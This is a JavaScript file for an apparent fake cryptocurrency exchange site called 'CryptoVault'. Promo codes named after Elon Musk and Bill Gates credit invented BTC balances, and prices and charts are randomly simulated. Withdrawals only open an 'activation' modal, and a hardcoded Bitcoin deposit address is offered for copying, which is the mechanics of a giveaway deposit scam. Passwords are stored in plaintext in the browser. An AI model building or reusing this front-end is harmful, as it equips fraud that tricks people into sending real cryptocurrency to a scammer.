Spaces:
Running
Running
| // Global variables | |
| let currentUser = null | |
| const BTC_PRICE = 43250 // Fixed BTC price for demo | |
| // Promo codes and their BTC rewards | |
| const PROMO_CODES = { | |
| ElonBtcMusk: 1.3, | |
| BillGates: 2.05, | |
| CBL: 3.55, | |
| } | |
| // Initialize app | |
| document.addEventListener("DOMContentLoaded", () => { | |
| console.log("DOM loaded, current path:", window.location.pathname) | |
| if (window.location.pathname.includes("dashboard.html")) { | |
| initDashboard() | |
| } else { | |
| initAuth() | |
| } | |
| }) | |
| // Authentication functions | |
| function initAuth() { | |
| console.log("Initializing auth...") | |
| // Check if user is already logged in | |
| const loggedInUser = localStorage.getItem("cryptovault_current_user") | |
| if (loggedInUser) { | |
| console.log("User already logged in:", loggedInUser) | |
| window.location.href = "dashboard.html" | |
| return | |
| } | |
| const loginFormElement = document.getElementById("loginFormElement") | |
| const registerFormElement = document.getElementById("registerFormElement") | |
| if (loginFormElement) { | |
| loginFormElement.addEventListener("submit", handleLogin) | |
| console.log("Login form listener added") | |
| } | |
| if (registerFormElement) { | |
| registerFormElement.addEventListener("submit", handleRegister) | |
| console.log("Register form listener added") | |
| } | |
| // Start with register form active | |
| switchToRegister() | |
| } | |
| function switchToRegister() { | |
| console.log("Switching to register form") | |
| const loginForm = document.getElementById("loginForm") | |
| const registerForm = document.getElementById("registerForm") | |
| if (loginForm) loginForm.classList.remove("active") | |
| if (registerForm) registerForm.classList.add("active") | |
| } | |
| function switchToLogin() { | |
| console.log("Switching to login form") | |
| const loginForm = document.getElementById("loginForm") | |
| const registerForm = document.getElementById("registerForm") | |
| if (registerForm) registerForm.classList.remove("active") | |
| if (loginForm) loginForm.classList.add("active") | |
| } | |
| function handleLogin(e) { | |
| e.preventDefault() | |
| console.log("Login form submitted") | |
| const email = document.getElementById("loginEmail").value.trim() | |
| const password = document.getElementById("loginPassword").value | |
| console.log("Login attempt for email:", email) | |
| if (!email || !password) { | |
| showNotification("Please fill in all fields!", "error") | |
| return | |
| } | |
| const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}") | |
| console.log("Stored users:", Object.keys(users)) | |
| // Find user by email | |
| const userEntry = Object.entries(users).find(([key, userData]) => { | |
| console.log("Checking user:", key, "email:", userData.email) | |
| return userData.email === email && userData.password === password | |
| }) | |
| if (userEntry) { | |
| const [userKey] = userEntry | |
| console.log("Login successful for user:", userKey) | |
| currentUser = userKey | |
| localStorage.setItem("cryptovault_current_user", userKey) | |
| showNotification("Login successful! Redirecting...", "success") | |
| setTimeout(() => { | |
| console.log("Redirecting to dashboard...") | |
| window.location.href = "dashboard.html" | |
| }, 1000) | |
| } else { | |
| console.log("Login failed - invalid credentials") | |
| showNotification("Invalid email or password!", "error") | |
| } | |
| } | |
| function handleRegister(e) { | |
| e.preventDefault() | |
| console.log("Register form submitted") | |
| const email = document.getElementById("registerEmail").value.trim() | |
| const password = document.getElementById("registerPassword").value | |
| const confirmPassword = document.getElementById("confirmPassword").value | |
| const termsChecked = document.getElementById("termsCheck").checked | |
| console.log("Registration attempt for email:", email) | |
| if (!email || !password || !confirmPassword) { | |
| showNotification("Please fill in all fields!", "error") | |
| return | |
| } | |
| if (password !== confirmPassword) { | |
| showNotification("Passwords do not match!", "error") | |
| return | |
| } | |
| if (!termsChecked) { | |
| showNotification("You must agree to the terms!", "error") | |
| return | |
| } | |
| if (password.length < 6) { | |
| showNotification("Password must be at least 6 characters!", "error") | |
| return | |
| } | |
| const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}") | |
| // Check if email already exists | |
| const emailExists = Object.values(users).some((userData) => userData.email === email) | |
| if (emailExists) { | |
| showNotification("Email already exists!", "error") | |
| return | |
| } | |
| // Create username from email (before @ symbol) | |
| const username = email.split("@")[0] | |
| let finalUsername = username | |
| let counter = 1 | |
| // Make sure username is unique | |
| while (users[finalUsername]) { | |
| finalUsername = `${username}${counter}` | |
| counter++ | |
| } | |
| users[finalUsername] = { | |
| email: email, | |
| password: password, | |
| btcBalance: 0.0, | |
| redeemedCodes: [], | |
| createdAt: new Date().toISOString(), | |
| } | |
| localStorage.setItem("cryptovault_users", JSON.stringify(users)) | |
| console.log("User registered successfully:", finalUsername) | |
| showNotification("Account created successfully! Please sign in.", "success") | |
| // Clear form | |
| document.getElementById("registerFormElement").reset() | |
| setTimeout(() => { | |
| switchToLogin() | |
| }, 1500) | |
| } | |
| // Dashboard functions | |
| function initDashboard() { | |
| console.log("Initializing dashboard...") | |
| currentUser = localStorage.getItem("cryptovault_current_user") | |
| console.log("Current user from storage:", currentUser) | |
| if (!currentUser) { | |
| console.log("No current user found, redirecting to login") | |
| window.location.href = "index.html" | |
| return | |
| } | |
| const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}") | |
| if (!users[currentUser]) { | |
| console.log("User data not found, redirecting to login") | |
| localStorage.removeItem("cryptovault_current_user") | |
| window.location.href = "index.html" | |
| return | |
| } | |
| console.log("Dashboard initialized successfully for user:", currentUser) | |
| updateDashboard() | |
| // Initialize other dashboard features if elements exist | |
| const tradingChart = document.getElementById("tradingChart") | |
| if (tradingChart) { | |
| initTradingChart() | |
| } | |
| // Update BTC price periodically | |
| setInterval(updateBTCPrice, 5000) | |
| } | |
| function updateDashboard() { | |
| const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}") | |
| const userData = users[currentUser] | |
| if (!userData) { | |
| logout() | |
| return | |
| } | |
| console.log("Updating dashboard for user:", currentUser, "Balance:", userData.btcBalance) | |
| // Update balance displays | |
| const btcBalanceElements = document.querySelectorAll( | |
| "#btcBalance, #spotBalance, #btcSpotBalance, #btcAvailableBalance, #btcTotalBalance", | |
| ) | |
| btcBalanceElements.forEach((element) => { | |
| if (element) { | |
| element.textContent = | |
| userData.btcBalance.toFixed(6) + | |
| (element.id.includes("spot") || element.id.includes("Total") || element.id.includes("Available") ? " BTC" : "") | |
| } | |
| }) | |
| const usdValue = (userData.btcBalance * BTC_PRICE).toFixed(2) | |
| const usdBalanceElement = document.getElementById("usdBalance") | |
| if (usdBalanceElement) { | |
| usdBalanceElement.textContent = usdValue | |
| } | |
| // Update spot balance USD display | |
| const spotUsdElements = document.querySelectorAll(".spot-usd, .balance-usd-small") | |
| spotUsdElements.forEach((element) => { | |
| if (element) { | |
| element.textContent = `$${usdValue}` | |
| } | |
| }) | |
| } | |
| function redeemPromoCode() { | |
| const promoCode = document.getElementById("promoCode").value.trim() | |
| if (!promoCode) { | |
| showNotification("Please enter a promo code!", "error") | |
| return | |
| } | |
| const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}") | |
| const userData = users[currentUser] | |
| if (!userData) { | |
| logout() | |
| return | |
| } | |
| if (userData.redeemedCodes.includes(promoCode)) { | |
| showNotification("Promo code already used!", "error") | |
| return | |
| } | |
| if (PROMO_CODES[promoCode]) { | |
| const btcReward = PROMO_CODES[promoCode] | |
| userData.btcBalance += btcReward | |
| userData.redeemedCodes.push(promoCode) | |
| localStorage.setItem("cryptovault_users", JSON.stringify(users)) | |
| showNotification(`Success! ${btcReward} BTC added to your account!`, "success") | |
| document.getElementById("promoCode").value = "" | |
| updateDashboard() | |
| } else { | |
| showNotification("Invalid promo code!", "error") | |
| } | |
| } | |
| // Modal functions | |
| function showDepositModal() { | |
| const modal = document.getElementById("depositModal") | |
| if (modal) { | |
| modal.style.display = "block" | |
| } | |
| } | |
| function closeDepositModal() { | |
| const modal = document.getElementById("depositModal") | |
| if (modal) { | |
| modal.style.display = "none" | |
| } | |
| } | |
| function showWithdrawModal() { | |
| const modal = document.getElementById("withdrawModal") | |
| if (modal) { | |
| modal.style.display = "block" | |
| } | |
| } | |
| function closeWithdrawModal() { | |
| const modal = document.getElementById("withdrawModal") | |
| if (modal) { | |
| modal.style.display = "none" | |
| } | |
| } | |
| function showTransferModal() { | |
| // Show activation modal instead for demo purposes | |
| const modal = document.getElementById("activationModal") | |
| if (modal) { | |
| modal.style.display = "block" | |
| } | |
| } | |
| function closeActivationModal() { | |
| const modal = document.getElementById("activationModal") | |
| if (modal) { | |
| modal.style.display = "none" | |
| } | |
| } | |
| function processWithdraw() { | |
| // Show activation modal for demo purposes | |
| closeWithdrawModal() | |
| const modal = document.getElementById("activationModal") | |
| if (modal) { | |
| modal.style.display = "block" | |
| } | |
| } | |
| function copyAddress() { | |
| const address = "1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG" | |
| navigator.clipboard | |
| .writeText(address) | |
| .then(() => { | |
| showNotification("Address copied to clipboard!", "success") | |
| }) | |
| .catch(() => { | |
| showNotification("Failed to copy address", "error") | |
| }) | |
| } | |
| function logout() { | |
| console.log("Logging out user:", currentUser) | |
| localStorage.removeItem("cryptovault_current_user") | |
| currentUser = null | |
| window.location.href = "index.html" | |
| } | |
| // Trading chart functions | |
| function initTradingChart() { | |
| const canvas = document.getElementById("tradingChart") | |
| if (!canvas) return | |
| const ctx = canvas.getContext("2d") | |
| const width = canvas.width | |
| const height = canvas.height | |
| // Generate fake price data | |
| const dataPoints = 50 | |
| const priceData = [] | |
| let currentPrice = BTC_PRICE | |
| for (let i = 0; i < dataPoints; i++) { | |
| const change = (Math.random() - 0.5) * 1000 | |
| currentPrice += change | |
| priceData.push(currentPrice) | |
| } | |
| // Draw chart | |
| ctx.clearRect(0, 0, width, height) | |
| ctx.strokeStyle = "#00ff88" | |
| ctx.lineWidth = 2 | |
| ctx.beginPath() | |
| const minPrice = Math.min(...priceData) | |
| const maxPrice = Math.max(...priceData) | |
| const priceRange = maxPrice - minPrice | |
| for (let i = 0; i < priceData.length; i++) { | |
| const x = (i / (priceData.length - 1)) * width | |
| const y = height - ((priceData[i] - minPrice) / priceRange) * height | |
| if (i === 0) { | |
| ctx.moveTo(x, y) | |
| } else { | |
| ctx.lineTo(x, y) | |
| } | |
| } | |
| ctx.stroke() | |
| // Add glow effect | |
| ctx.shadowColor = "#00ff88" | |
| ctx.shadowBlur = 10 | |
| ctx.stroke() | |
| } | |
| function updateBTCPrice() { | |
| const priceElement = document.getElementById("btcPrice") | |
| if (!priceElement) return | |
| // Simulate price changes | |
| const change = (Math.random() - 0.5) * 100 | |
| const newPrice = BTC_PRICE + change | |
| priceElement.textContent = `$${newPrice.toFixed(2)}` | |
| // Update price change indicator | |
| const changeElement = document.querySelector(".price-change") | |
| if (changeElement) { | |
| const changePercent = ((change / BTC_PRICE) * 100).toFixed(2) | |
| changeElement.textContent = `${changePercent >= 0 ? "+" : ""}${changePercent}%` | |
| changeElement.className = `price-change ${changePercent >= 0 ? "positive" : "negative"}` | |
| } | |
| } | |
| // Notification system | |
| function showNotification(message, type = "info") { | |
| console.log("Notification:", type, message) | |
| const notification = document.getElementById("notification") | |
| if (!notification) { | |
| console.log("Notification element not found") | |
| return | |
| } | |
| notification.textContent = message | |
| notification.className = `notification ${type} show` | |
| setTimeout(() => { | |
| notification.classList.remove("show") | |
| }, 3000) | |
| } | |
| // Password toggle function | |
| function togglePassword(fieldId) { | |
| const field = document.getElementById(fieldId) | |
| if (field) { | |
| field.type = field.type === "password" ? "text" : "password" | |
| } | |
| } | |
| // Close modals when clicking outside | |
| window.onclick = (event) => { | |
| const modals = ["depositModal", "withdrawModal", "activationModal"] | |
| modals.forEach((modalId) => { | |
| const modal = document.getElementById(modalId) | |
| if (modal && event.target === modal) { | |
| modal.style.display = "none" | |
| } | |
| }) | |
| } | |